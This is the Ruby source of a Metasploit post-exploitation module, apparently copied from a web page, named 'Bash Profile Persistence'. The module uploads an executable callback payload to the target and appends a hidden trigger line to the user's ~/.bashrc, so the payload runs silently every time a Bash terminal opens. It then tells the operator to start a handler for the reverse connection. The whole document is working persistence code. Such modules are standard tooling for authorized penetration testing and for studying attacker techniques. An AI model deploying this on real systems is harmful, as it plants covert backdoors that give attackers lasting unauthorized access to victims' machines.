Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Post::Unix  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Bash Profile Persistence',  
'Description' => %q{"  
This module writes an execution trigger to the target's Bash profile.  
The execution trigger executes a call back payload whenever the target  
user opens a Bash terminal. A handler is not run automatically, so you  
must configure an appropriate exploit/multi/handler to receive the callback.  
"},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Michael Long <bluesentinel[at]protonmail.com>'  
],  
'DisclosureDate' => 'Jun 8 1989', # First public release of Bourne Again Shell  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'SessionTypes' => ['meterpreter', 'shell'],  
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },  
'Targets' =>  
[  
['Automatic', {}]  
],  
'DefaultTarget' => 0,  
'Payload' => {  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'References' =>  
[  
['URL', 'https://attack.mitre.org/techniques/T1156/']  
]  
))  
  
register_options(  
[  
OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']),  
OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/'])  
]  
)  
end  
  
def exploit  
  
# expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc')  
profile_path = datastore['BASH_PROFILE']  
if profile_path.start_with?('~/')  
home_directory = get_env('$HOME')  
profile_path.sub!(/^~/, home_directory)  
end  
  
# check that target Bash profile file exists  
unless exist?(profile_path)  
fail_with Failure::NotFound, profile_path  
end  
print_good("Bash profile exists: #{profile_path}")  
  
# check that target Bash profile file is writable  
unless writable?(profile_path)  
fail_with Failure::NoAccess, profile_path  
end  
print_good("Bash profile is writable: #{profile_path}")  
  
# create Bash profile backup on local system before persistence is added  
backup_profile = read_file(profile_path)  
backup_profile_path = create_backup_file(backup_profile)  
print_status("Created backup Bash profile: #{backup_profile_path}")  
  
# upload persistent payload to target and make executable (chmod 700)  
payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16)  
upload_and_chmodx(payload_file, payload.encoded)  
  
# write payload trigger to Bash profile  
exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null  
append_file(profile_path, exec_payload_string)  
print_good("Created Bash profile persistence")  
print_status("Payload will be triggered when target opens a Bash terminal")  
print_warning("Don't forget to start your handler:")  
print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")  
end  
  
# create a backup copy of the target's Bash profile on the local system before persistence is added  
def create_backup_file(backup_profile)  
begin  
hostname = session.sys.config.sysinfo["Computer"]  
rescue  
hostname = cmd_exec("hostname")  
end  
  
timestamp = "_" + ::Time.now.strftime("%Y%m%d.%H%M%S")  
  
log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)  
  
::FileUtils.mkdir_p(log_directory_name)  
  
log_file_name = log_directory_name + "/Bash_Profile.backup"  
file_local_write(log_file_name, backup_profile)  
return log_file_name  
end  
end